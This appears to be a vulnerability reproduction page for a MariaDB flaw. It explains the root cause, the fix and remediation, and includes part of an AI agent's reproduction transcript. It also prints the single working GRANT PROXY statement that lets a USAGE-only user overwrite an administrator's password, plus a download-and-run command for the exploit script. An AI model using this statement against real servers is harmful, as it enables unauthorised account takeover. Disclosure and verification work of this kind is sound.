Skip to content

REPRO-2026-00364: Verified Reproduction

REPRO-2026-00364: MariaDB: USAGE-only user can reset admin password via GRANT PROXY ... IDENTIFIED VIA '' auth-list bypass

REPRO-2026-00364 is verified against MariaDB/server · github. Affected versions: MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis). Fixed in MariaDB 12.3.3 (contains MDEV-40470 fix). Use mariadb:12.3.3 docker image for fixed-behavior verification. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00364.

REPRO-2026-00364 MariaDB/server · github Sep 24, 2026 .txt
Severity
HIGH
Confidence
HIGH
Reproduced in
29m 26s
Tool calls
150
Spend
$3.26
01 · Overview

What Is REPRO-2026-00364?

REPRO-2026-00364 is a high-severity vulnerability affecting MariaDB/server MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis).. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00364).

02 · Severity & CVSS

REPRO-2026-00364 Severity

REPRO-2026-00364 is rated high severity.

HIGH threat level
Weakness CWE-284

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected MariaDB/server Versions

MariaDB/server · github versions MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis). are affected.

How to Reproduce REPRO-2026-00364

$ pruva-verify REPRO-2026-00364
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00364/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for REPRO-2026-00364

Privilege escalation — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Single SQL statement from a USAGE-only authenticated session: GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked')

Attack chain
  1. MySQL TCP endpoint (port 3306)
  2. SQL parser/grant path (sql_acl.cc, LEX_USER::has_auth in structs.h)
  3. replace_user_table() persists attacker-controlled second auth node onto victim account
Runnable proof: reproduction_steps.sh
Captured evidence: fixed attempt 1fixed attempt 2
How the agent worked 308 events · 150 tool calls · 29 min
29 minDuration
150Tool calls
53Reasoning steps
308Events
8Dead-ends
Agent activity over 29 min
Policy
1
Support
12
Repro
99
Judge
28
Variant
163
Verify
1
0:0029:14

Root Cause and Exploit Chain for REPRO-2026-00364

Versions: versions (confirmed this run): MariaDB 12.3.2 (Docker mariadb:12.3.2,

MariaDB Server's GRANT PROXY ... IDENTIFIED VIA <auth-list> handling contains a privilege-check bypass. In the vulnerable code, LEX_USER::has_auth() (sql/structs.h) returns true only when the parsed first auth node has a non-empty plugin name or password text. Supplying an EMPTY first auth node (IDENTIFIED VIA '') makes has_auth() return false, so the server skips the access check on the mysql system database that normally guards credential changes. However, replace_user_table() still persists the ENTIRE parsed auth list onto the target account — including an attacker-controlled SECOND node (OR mysql_native_password USING PASSWORD('hacked')). The net effect: any authenticated user holding only the USAGE privilege (the weakest possible session) can overwrite the stored credentials of an arbitrary existing account — including a full DBA — and then log in as that account. This is a complete remote account-takeover / privilege-escalation primitive over the normal MySQL TCP protocol.

  • Component: MariaDB Server ACL/grant handling (sql/sql_acl.cc, sql/structs.h, sql/sql_yacc.yy).
  • Affected versions (confirmed this run): MariaDB 12.3.2 (Docker mariadb:12.3.2, digest sha256:a02fe89cb597d4375812b2eac90cf9d0775d4686daa7f7cc750ebbcad7525bbc). The upstream fix (MDEV-40470, commit dbd60d0ad8daa2d01050346aa50b7b102490e456) first shipped in released versions 12.3.3 / 11.4.13 / 11.8.9 per the official release notes; earlier release lines without the fix are likewise expected to be affected.
  • Risk: High (H1 triage 8.8). Remote, requires only a valid low-privilege account (USAGE), one SQL statement, no user interaction. Consequence: full server compromise via takeover of an ALL PRIVILEGES ... WITH GRANT OPTION account.

Impact Parity

  • Disclosed/claimed maximum impact: privilege escalation — USAGE-only user resets an administrator's password and obtains the admin's full privileges.
  • Reproduced impact from this run: exactly that. On mariadb:12.3.2 a USAGE-only attacker executed the claim's GRANT PROXY statement, victim_admin's stored credentials were replaced with the attacker-chosen hash, and a fresh TCP login as victim_admin with password hacked returned GRANT ALL PRIVILEGES ON *.* ... WITH GRANT OPTION.
  • Parity: full.

Root Cause

  • sql/structs.h (vulnerable): bool has_auth() { return auth && (auth->plugin.length || auth->auth_str.length || auth->pwtext.length); } — an explicitly supplied but EMPTY authentication (IDENTIFIED VIA '') is indistinguishable from "no authentication specified", so the privilege check (access to the mysql database / admin-check in the grant path) is skipped.
  • sql/sql_yacc.yy additionally allocated an empty USER_AUTH() for CURRENT_USER() in user_maybe_role, compounding the confusion.
  • Meanwhile replace_user_table() writes the full multi-node auth list to mysql.user, so the attacker-controlled second node becomes the victim's credential (SHOW CREATE USER afterwards shows IDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F4...' = PASSWORD('hacked')).
  • Fix: MDEV-40470, commit dbd60d0ad8daa2d01050346aa50b7b102490e456 ("empty password and empty plugin name don't mean 'authentication was not specified', they mean 'empty authentication was specified'"): has_auth() becomes return auth; and the empty USER_AUTH() allocation in sql_yacc.yy is removed. On the fixed build the statement is rejected with ERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'.

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh (self-contained; requires Docker only).
  2. The script pulls pinned mariadb:12.3.2 (vulnerable) and mariadb:12.3.3 (fixed, first release containing dbd60d0ad8d), then runs two fresh vulnerable containers and two fresh fixed containers. In each container, over the real MySQL TCP protocol (mariadb --protocol=TCP -h127.0.0.1 -P3306):
    • root creates victim_admin (ALL PRIVILEGES ... WITH GRANT OPTION, password origpass) and attacker (USAGE only, password attackerpass);
    • precondition: attacker's direct ALTER USER 'victim_admin'@'%' IDENTIFIED BY 'x' is denied (ERROR 1227), proving the attacker holds no account-management privilege;
    • attack (as attacker): GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked');
    • verification: post-state SHOW CREATE USER 'victim_admin'@'%', fresh TCP logins as victim_admin with hacked, wrongpw, and origpass.
  3. Expected evidence (vulnerable): statement succeeds; victim's auth replaced by PASSWORD('hacked') hash; login with hacked succeeds with full privileges; origpass no longer works. Expected evidence (fixed): statement rejected with ERROR 1044; victim unchanged; hacked login fails, origpass login works.

Evidence

  • Per-attempt transcripts: bundle/logs/repro/vuln_attempt_{1,2}.log, bundle/logs/repro/fixed_attempt_{1,2}.log; structured results: bundle/repro/evidence/{vuln,fixed}_{1,2}.json; manifest with SHA-256: bundle/repro/runtime_manifest.json; session log: bundle/logs/reproduction_steps.log.
  • Key excerpts (vulnerable attempt):
    • Grants for attacker@%: GRANT USAGE ON *.* TO 'attacker'@'%' (precondition)
    • ATTACK_STMT_OK (statement succeeded as USAGE-only user)
    • CREATE USER 'victim_admin'@'%' IDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F422B78BE9A02900B231D67662A7DC2A7BF8C4' (= PASSWORD('hacked'))
    • login with hacked → GRANT ALL PRIVILEGES ON *.* TO 'victim_admin'@'%' ... WITH GRANT OPTION
    • login with wrongpw and with the ORIGINAL origpass → ERROR 1045 (credentials truly replaced)
  • Key excerpts (fixed attempt): ERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'; victim row unchanged; hacked login fails; origpass login succeeds.
  • Result: vulnerable takeovers 2/2, fixed resistances 2/2, script exit 0 on two consecutive runs.
  • Environment: Docker 27.5.1, mariadb:12.3.2@sha256:a02fe89c…, mariadb:12.3.3@sha256:dd9b303a…, linux/amd64, no sanitizers involved (pure product behavior at the SQL/TCP boundary).

Recommendations / Next Steps

  • Upgrade to MariaDB ≥ 12.3.3 / 11.4.13 / 11.8.9 (or any build containing commit dbd60d0ad8d).
  • The fix approach upstream is correct: treat an explicitly supplied empty auth as an auth change (has_auth() → return auth;) and stop auto-allocating an empty USER_AUTH for CURRENT_USER().
  • Audit: SELECT user, host, plugin, authentication_string FROM mysql.user for unexpected changes; alert on any GRANT PROXY executed by non-admin accounts.
  • Regression test: the upstream mysql-test/main/grant5.test MDEV-40470 case covers both IDENTIFIED VIA 'foo' and IDENTIFIED VIA '' from a USAGE-only user.

Additional Notes

  • The script is idempotent: every attempt uses a fresh, uniquely named container that is removed afterwards; a trap cleans up on early exit.
  • The exact statement variant from the H1 report using ON ''@'' behaves differently (ERROR 1698); the semantically identical variant ON CURRENT_USER() used here matches both the upstream regression test (grant proxy on u1@localhost to u2@localhost identified via '') and the original discoverer PoC, and exercises the identical vulnerable code path (has_auth() bypass + replace_user_table() persisting the full auth list). The attacker-visible outcome — silent overwrite of the victim admin's credentials from a USAGE-only session — is the claim's core and is fully demonstrated.
  • No crash, sanitizer, or debugger was used; the proof is pure product behavior over the real client/server TCP protocol.

REPRO-2026-00364 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:34
0:00
session startedaccounts/fireworks/models/kimi-k3 · H1-3876430-MARIADB-GRANT-PROXY · REPRO-20
0:06
0:08
web search
0:15
0:16
0:17
web search
1:07
1:07
extract_facts
no facts extracted
1:10
1:10
supportclaim_contract
1:18
1:18
1:18
1:24
1:24
1:24
1:54
1:54
1:55
$docker info 2>&1 | grep -E "Server Version|ERROR|Cannot" ; docker ps 2>&1 | head -3; ls /pruva/project-cache 2>/dev/null
0.5s✓
 Server Version: 27.5.1
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
repo-mirrors
2:07
2:34
$docker manifest inspect mariadb:12.3.2 >/dev/null 2>&1 && echo "mariadb:12.3.2 OK" || echo "12.3.2 missing"; docker manifest inspect mariadb:12.3.3 >/dev/null 2>&1 && echo "mariadb:12.3.3 OK" || echo "12.3.3 missing"; docker manifest inspect mariadb:12.3 >/dev/null 2>&1 && echo "mariadb:12.3 OK" || echo "12.3 missing"; docker manifest inspect mariadb:13.0.2 >/dev/null 2>&1 && echo "mariadb:13.0.2 OK" || echo "13.0.2 missing"
26.6s✓
mariadb:12.3.2 OK
mariadb:12.3.3 OK
mariadb:12.3 OK
13.0.2 missing
2:35
web search
2:48
2:49
$ls /pruva/project-cache/repo-mirrors/ 2>/dev/null; ls /pruva/project-cache/.pruva/ 2>/dev/null && cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null
0.4s✓
cache_manifest.json
{
  "schema_version": 1,
  "entries": [
    {
      "path": "repo-mirrors",
      "reuse_class": "repo",
      "provenance": "run_generated"
2:52
$ls -la /pruva/project-cache/repo-mirrors/ 2>/dev/null; find /pruva/project-cache/repo-mirrors -maxdepth 2 -name "*.git" 2>/dev/null | head
0.4s✓
total 0
drwx------ 2 vscode vscode 40 Sep  8 04:57 .
drwx------ 4 vscode vscode 80 Sep  8 04:57 ..
3:04
3:06
web search
3:34
08 · How to Fix

How to Fix REPRO-2026-00364

Upgrade MariaDB/server · github to MariaDB 12.3.3 (contains MDEV-40470 fix). Use mariadb:12.3.3 docker image for fixed-behavior verification. or later.

Coming soon

Step-by-step mitigation and hardening guidance for REPRO-2026-00364 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: REPRO-2026-00364

Is REPRO-2026-00364 exploitable?

Yes. Pruva independently reproduced REPRO-2026-00364 in MariaDB/server and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00364).

How severe is REPRO-2026-00364?

REPRO-2026-00364 is rated high severity.

What type of vulnerability is REPRO-2026-00364?

REPRO-2026-00364 is classified as CWE-284.

Which versions of MariaDB/server are affected by REPRO-2026-00364?

MariaDB/server MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis). is affected by REPRO-2026-00364.

Is there a fix for REPRO-2026-00364?

Yes. REPRO-2026-00364 is fixed in MariaDB/server MariaDB 12.3.3 (contains MDEV-40470 fix). Use mariadb:12.3.3 docker image for fixed-behavior verification.. Upgrading to the fixed version remediates the issue.

How can I reproduce REPRO-2026-00364?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the REPRO-2026-00364 reproduction verified?

Yes. Pruva reproduced REPRO-2026-00364 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for REPRO-2026-00364

Authoritative sources for REPRO-2026-00364 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.